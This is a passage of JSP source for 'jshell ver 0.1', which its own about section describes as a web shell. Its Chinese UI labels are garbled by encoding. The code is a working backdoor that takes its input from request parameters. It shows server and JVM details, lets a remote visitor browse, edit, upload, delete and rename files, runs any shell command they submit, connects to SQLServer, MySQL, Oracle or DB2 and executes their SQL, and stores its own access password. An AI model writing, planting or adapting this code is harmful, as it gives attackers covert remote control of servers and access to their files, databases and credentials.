<td width="300" align="center" class="datarows">��ǰ�û���</td>
<td align="center" class="datarows"><%=System.getProperty("user.name")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">��ǰ�û�Ŀ¼</td>
<td align="center" class="datarows"><%=System.getProperty("user.home")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">��ǰ�û�����Ŀ¼</td>
<td align="center" class="datarows"><%=System.getProperty("user.dir")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">�������·��</td>
<td align="center" class="datarows"><%=request.getRequestURI()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">�������·��</td>
<td align="center" class="datarows"><%=request.getRealPath(request.getServletPath())%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">������</td>
<td align="center" class="datarows"><%=request.getProtocol()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">�����������汾��Ϣ</td>
<td align="center" class="datarows"><%=application.getServerInfo()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">JDK�汾</td>
<td align="center" class="datarows"><%=System.getProperty("java.version")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">JDK��װ·��</td>
<td align="center" class="datarows"><%=System.getProperty("java.home")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">JAVA������汾</td>
<td align="center" class="datarows"><%=System.getProperty("java.vm.specification.version")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">JAVA�������</td>
<td align="center" class="datarows"><%=System.getProperty("java.vm.name")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">JAVA��·��</td>
<td align="center" class="datarows"><%=System.getProperty("java.class.path")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">JAVA���������·��</td>
<td align="center" class="datarows"><%=System.getProperty("java.library.path")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">JAVA��ʱĿ¼</td>
<td align="center" class="datarows"><%=System.getProperty("java.io.tmpdir")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">JIT��������</td>
<td align="center" class="datarows"><%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">��չĿ¼·��</td>
<td align="center" class="datarows"><%=System.getProperty("java.ext.dirs")%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td colspan="2" align="center">�ͻ�����Ϣ</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">�ͻ�����ַ</td>
<td align="center" class="datarows"><%=request.getRemoteAddr()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">���������</td>
<td align="center" class="datarows"><%=request.getRemoteHost()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">�û���</td>
<td align="center" class="datarows"><%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">����ʽ</td>
<td align="center" class="datarows"><%=request.getScheme()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">Ӧ�ð�ȫ�׽��ֲ�</td>
<td align="center" class="datarows"><%=request.isSecure() == true ? "��" : "��"%></td>
</tr>
</table>
<%
//=======================================================================================
// end of printing the system info table
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
} else if (action.equals("filesystem")) {
String curPath = "";
String result = "";
String fsAction = "";
if (request.getParameter("curPath") == null) {
curPath = request.getRealPath(request.getServletPath());
curPath = pathConvert((new File(curPath)).getParent());
} else {
curPath = Unicode2GB((String)request.getParameter("curPath"));
}
if (request.getParameter("fsAction") == null) {
fsAction = "list";
} else {
fsAction = (String)request.getParameter("fsAction");
}
if (fsAction.equals("list"))
result = listFiles(curPath, request.getRequestURI() + "?action=" + action);
else if (fsAction.equals("browse")) {
result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action);
result += browseFile(curPath);
}
else if (fsAction.equals("open"))
result = openFile(curPath, request.getRequestURI() + "?action=" + action);
else if (fsAction.equals("save")) {
if (request.getParameter("fileContent") == null) {
result = "<font color="red">ҳ�浼������</font>";
} else {
String fileContent = Unicode2GB((String)request.getParameter("fileContent"));
result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent);
}
} else if (fsAction.equals("createFolder")) {
if (request.getParameter("folderName") == null) {
result = "<font color="red">Ŀ¼������Ϊ��</font>";
} else {
String folderName = Unicode2GB(request.getParameter("folderName").trim());
if (folderName.equals("")) {
result = "<font color="red">Ŀ¼������Ϊ��</font>"; 
} else {
result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName);
}
}
} else if (fsAction.equals("createFile")) {
if (request.getParameter("fileName") == null) {
result = "<font color="red">�ļ�������Ϊ��</font>";
} else {
String fileName = Unicode2GB(request.getParameter("fileName").trim());
if (fileName.equals("")) {
result = "<font color="red">�ļ�������Ϊ��</font>";
} else {
result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName);
}
}
} else if (fsAction.equals("deleteFile")) {
if (request.getParameter("filesDelete") == null) {
result = "<font color="red">û��ѡ��Ҫɾ�����ļ�</font>";
} else {
String[] files2Delete = (String[])request.getParameterValues("filesDelete");
if (files2Delete.length == 0) {
result = "<font color="red">û��ѡ��Ҫɾ�����ļ�</font>";
} else {
for (int n = 0; n < files2Delete.length; n ++) {
files2Delete[n] = Unicode2GB(files2Delete[n]);
}
result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete);
}
}
} else if (fsAction.equals("saveAs")) {
if (request.getParameter("fileContent") == null) {
result = "<font color="red">ҳ�浼������</font>";
} else {
String fileContent = Unicode2GB(request.getParameter("fileContent"));
result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent);
}
} else if (fsAction.equals("upload")) {
result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action);
} else if (fsAction.equals("copyto")) {
if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) {
result = "<font color="red">û��ѡ��Ҫ���Ƶ��ļ�</font>";
} else {
String[] files2Copy = request.getParameterValues("filesDelete");
String dstPath = request.getParameter("dstPath").trim();
if (files2Copy.length == 0) {
result = "<font color="red">û��ѡ��Ҫ���Ƶ��ļ�</font>";
} else if (dstPath.equals("")) {
result = "<font color="red">û����дҪ���Ƶ���Ŀ¼·��</font>";
} else {
for (int i = 0; i < files2Copy.length; i ++)
files2Copy[i] = Unicode2GB(files2Copy[i]);
result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath));
}
}
} else if (fsAction.equals("rename")) {
if (request.getParameter("fileRename") == null) {
result = "<font color="red">ҳ�浼������</font>";
} else {
String file2Rename = request.getParameter("fileRename").trim();
String newName = request.getParameter("newName").trim();
if (file2Rename.equals("")) {
result = "<font color="red">û��ѡ��Ҫ���������ļ�</font>";
} else if (newName.equals("")) {
result = "<font color="red">û����д���ļ���</font>";
} else {
result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName));
}
}
}
%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<form method="post" name="form2" action="<%= request.getRequestURI() + "?action=" + action%>">
<tr bgcolor="#FFFFFF">
<td align="center">��ַ  <input type="text" size="80" name="curPath" class="textbox" value="<%=curPath%>" />
<input type="submit" value="ת��" class="button" /></td>
</tr>
</form>
<tr bgcolor="#FFFFFF">
<td><%= result.trim().equals("")?"&nbsp;" : result%></td>
</tr>
</table>
<%
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
} else if (action.equals("command")) {
String cmd = "";
InputStream ins = null;
String result = "";
if (request.getParameter("command") != null) {
cmd = (String)request.getParameter("command");
result = exeCmd(cmd);
}
// print the command form
//========================================================================================
%>
<table border="0" width="600" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC" align="center">
<form name="form2" method="post" action="<%=request.getRequestURI() + "?action=" + action%>">
<tr bgcolor="#FFFFFF">
<td align="center">ִ������</td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">
<input type="text" class="textbox" size="80" name="command" value="<%=cmd%>" />
<input type="submit" class="button" value="ִ��" />
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">ִ�н��</td>
</tr>
</form>
</table>
<table align="center" width="600" border="0">
<tr>
<td><%=result == "" ? "&nbsp;" : result%></td>
</tr>
</table>
<%
//=========================================================================================
// end of printing command form
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
} else if (action.equals("database")) {
String dbAction = "";
String result = "";
String dbType = "";
String dbServer = "";
String dbPort = "";
String dbUsername = "";
String dbPassword = "";
String dbName = "";
String dbResult = "";
String sql = "";
if (request.getParameter("dbAction") == null) {
dbAction = "main";
} else {
dbAction = request.getParameter("dbAction").trim();
if (dbAction.equals(""))
dbAction = "main";
}
if (dbAction.equals("main")) {
result = "&nbsp;";
} else if (dbAction.equals("dbConnect")) {
if (request.getParameter("dbType") == null ||
request.getParameter("dbServer") == null ||
request.getParameter("dbPort") == null ||
request.getParameter("dbUsername") == null ||
request.getParameter("dbPassword") == null ||
request.getParameter("dbName") == null) {
response.sendRedirect(request.getRequestURI() + "?action=" + action);
} else {
dbType = request.getParameter("dbType").trim();
dbServer = request.getParameter("dbServer").trim();
dbPort = request.getParameter("dbPort").trim();
dbUsername = request.getParameter("dbUsername").trim();
dbPassword = request.getParameter("dbPassword").trim();
dbName = request.getParameter("dbName").trim();
if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) {
if (DBConnect(dbUsername, dbPassword)) {
if (request.getParameter("sql") != null) {
sql = request.getParameter("sql").trim();
if (! sql.equals("")) {
dbResult = DBExecute(sql);
}
}
result =  "<script language="javascript"> ";
result += "<!-- ";
result += "function exeSql() { ";
result += "    if (ltrim(document.dbInfo.sql.value) != "") ";
result += "        document.dbInfo.submit();";
result += "} ";
result += " ";
result += "function resetIt() { ";
result += "    document.dbInfo.sql.value = "";";
result += "} ";
result += "//--> ";
result += "</script> ";
result += "sql���<br/><textarea name="sql" cols="70" rows="6">" + sql + "</textarea><br/><input type="submit" class="button" onclick="javascript:exeSql()" value="ִ��"/>&nbsp;<input type="reset" class="button" onclick="javascript:resetIt()" value="���"/> ";
DBRelease();
} else {
result = "<font color="red">���ݿ�����ʧ��</font>";
}
} else {
result = "<font color="red">���ݿ���������û���ҵ�</font>";
}
}
}
%>
<script language="javascript">
<!--
<%
out.println("var selectedType = "" + dbType + "";");
%>
//-->
</script>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<form name="dbInfo" method="post" action="<%=request.getRequestURI() + "?action=" + action + "&dbAction=dbConnect"%>">
<tr bgcolor="#FFFFFF">
<td width="300" align="center">���ݿ���������</td>
<td align="center">
<select name="dbType">
<option value="sqlserver">SQLServer���ݿ�</option>
<option value="mysql">MySql���ݿ�</option>
<option value="oracle">Oracle���ݿ�</option>
<option value="db2">DB2���ݿ�</option>
<option value="odbc">ODBC����Դ</option>
</select>
<script language="javascript">
for (var i = 0; i < document.dbInfo.dbType.options.length; i ++) {
if (document.dbInfo.dbType.options[i].value == selectedType) {
document.dbInfo.dbType.options[i].selected = true;
}
}
</script>
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">���ݿ��������ַ</td>
<td align="center"><input type="text" name="dbServer" class="textbox" value="<%=dbServer%>" style="width:150px;" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">���ݿ�������˿�</td>
<td align="center"><input type="text" name="dbPort" class="textbox" value="<%=dbPort%>" style="width:150px;" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">���ݿ��û���</td>
<td align="center"><input type="text" name="dbUsername" class="textbox" value="<%=dbUsername%>" size="20" style="width:150px;" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">���ݿ�����</td>
<td align="center"><input type="password" name="dbPassword" class="textbox" value="<%=dbPassword%>" size="20" style="width:150px;" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">���ݿ���</td>
<td align="center"><input type="text" name="dbName" class="textbox" value="<%=dbName%>" size="20" style="width:150px;" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center" colspan="2"><input type="submit" value="����" class="button" /> <input type="reset" value="����" class="button" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center" colspan="2"><%=result%></td>
</tr>
</form>
</table>
<table align="center" width="100%" border="0">
<tr>
<td align="center">
<%=dbResult%>
</td>
</tr>
</table>
<%
 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
} else if (action.equals("config")) {
String cfAction = "";
int i;
if (request.getParameter("cfAction") == null) {
cfAction = "main";
} else {
cfAction = request.getParameter("cfAction").trim();
if (cfAction.equals(""))
cfAction = "main";
}
if (cfAction.equals("main")) {
// start of config form
//==========================================================================================
%>
<script language="javascript">
<!--
function delFileType() {
document.config.newType.value = document.config.textFileTypes[document.config.textFileTypes.selectedIndex].value;
document.config.textFileTypes.options.remove(document.config.textFileTypes.selectedIndex);
}
 
function addFileType() {
if (document.config.newType.value != "") {
var oOption = document.createElement("OPTION");
document.config.textFileTypes.options.add(oOption);
oOption.value = document.config.newType.value;
oOption.innerHTML = document.config.newType.value;
}
}
 
function selectAllTypes() {
for (var i = 0; i < document.config.textFileTypes.options.length; i ++) {
document.config.textFileTypes.options[i].selected = true;
}
}
//-->
</script>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<form name="config" method="post" action="<%=request.getRequestURI() + "?action=config&cfAction=save"%>" onSubmit="javascript:selectAllTypes()">
<tr bgcolor="#FFFFFF">
<td align="center" width="200">����</td>
<td><input type="text" size="30" name="password" class="textbox" value="<%=_password%>" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">ϵͳ����</td>
<td><input type="text" size="30" name="encode" value="<%=_encodeType%>" class="textbox" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">Session��ʱʱ��</td>
<td><input type="text" size="5" name="sessionTime" class="textbox" value="<%=_sessionOutTime%>" /></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center">�ɱ༭�ļ�����</td>
<td>
<table border="0" width="190" cellpadding="0" cellspacing="0">
<tr>
<td>
<input type="text" size="11" class="textbox" name="newType" />
</td>
<td align="center">
<input type="button" onClick="javascript:delFileType()" value="<<" class="button" />
<p></p>
<input type="button" value=">>" onClick="javascript:addFileType()" class="button" />
</td>
<td align="right">
<select name="textFileTypes" size="4" style="width: 87px" multiple="true">  
<%
for (i = 0; i < _textFileTypes.length; i ++) {
%>
<option value="<%=_textFileTypes[i]%>"><%=_textFileTypes[i]%></option>
<%
  }
%>
</select>
</td>
</tr>
</table>
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="center" colspan="2"><input type="submit" value="����" class="button" /></td>
</tr>
</form>
</table>
<%
} else if (cfAction.equals("save")) {
if (request.getParameter("password") == null || 
request.getParameter("encode") == null || 
request.getParameter("sessionTime") == null ||
request.getParameterValues("textFileTypes") == null) {
response.sendRedirect(request.getRequestURI());
}
String result = "";
String newPassword = request.getParameter("password").trim();
String newEncodeType = request.getParameter("encode").trim();
String newSessionTime = request.getParameter("sessionTime").trim();
String[] newTextFileTypes = request.getParameterValues("textFileTypes");
String jshellPath = request.getRealPath(request.getServletPath());
try {
JshellConfig jconfig = new JshellConfig(jshellPath);
jconfig.setPassword(newPassword);
jconfig.setEncodeType(newEncodeType);
jconfig.setSessionTime(newSessionTime);
jconfig.setTextFileTypes(newTextFileTypes);
jconfig.save();
result += "���ñ���ɹ������ڷ��أ����Ժ򡭡�";
result += "<meta http-equiv="refresh" content="2;url=" + request.getRequestURI() + "?action=" + request.getParameter("action") + "">";
} catch (JshellConfigException e) {
result = "<font color="red">" + e.getMessage() + "</font>"; 
}
 
%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr bgcolor="#FFFFFF">
<td><%=result == "" ? "&nbsp;" : result%></td>
</tr>
</table>
<%
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//==========================================================================================
// end of config form
} else if (action.equals("about")) {
// start of about
//==========================================================================================
%>
<table border="0" align="center" width="600" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr bgcolor="#FFFFFF">
<td align="center">���� jshell ver 0.1</td>
</tr>
<tr bgcolor="#FFFFFF">
<td>    Jshell��һ���򵥵�jsp��Web Shell�����ܼܺ򵥡�������������⼸���Ͽο���ʱ����û�Ǹ�д����ģ�������Ҳ���˵���Σ����ó���ϣ�������е��ô������������ң��ɶ��Բ��ã��������ǻ�ӭ����Ȥ�����Ѻ��ҽ�����</td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right">created by <a href="mailto:luoluonet@hotmail.com">luoluo</a> and welcome to <a href="http://www.ph4nt0m.org" target="_blank">��Ӱ����</a></td>
</tr>
</table>
<%
//==========================================================================================
}
}
%>
</body>
</html>
 
</script>
Remonter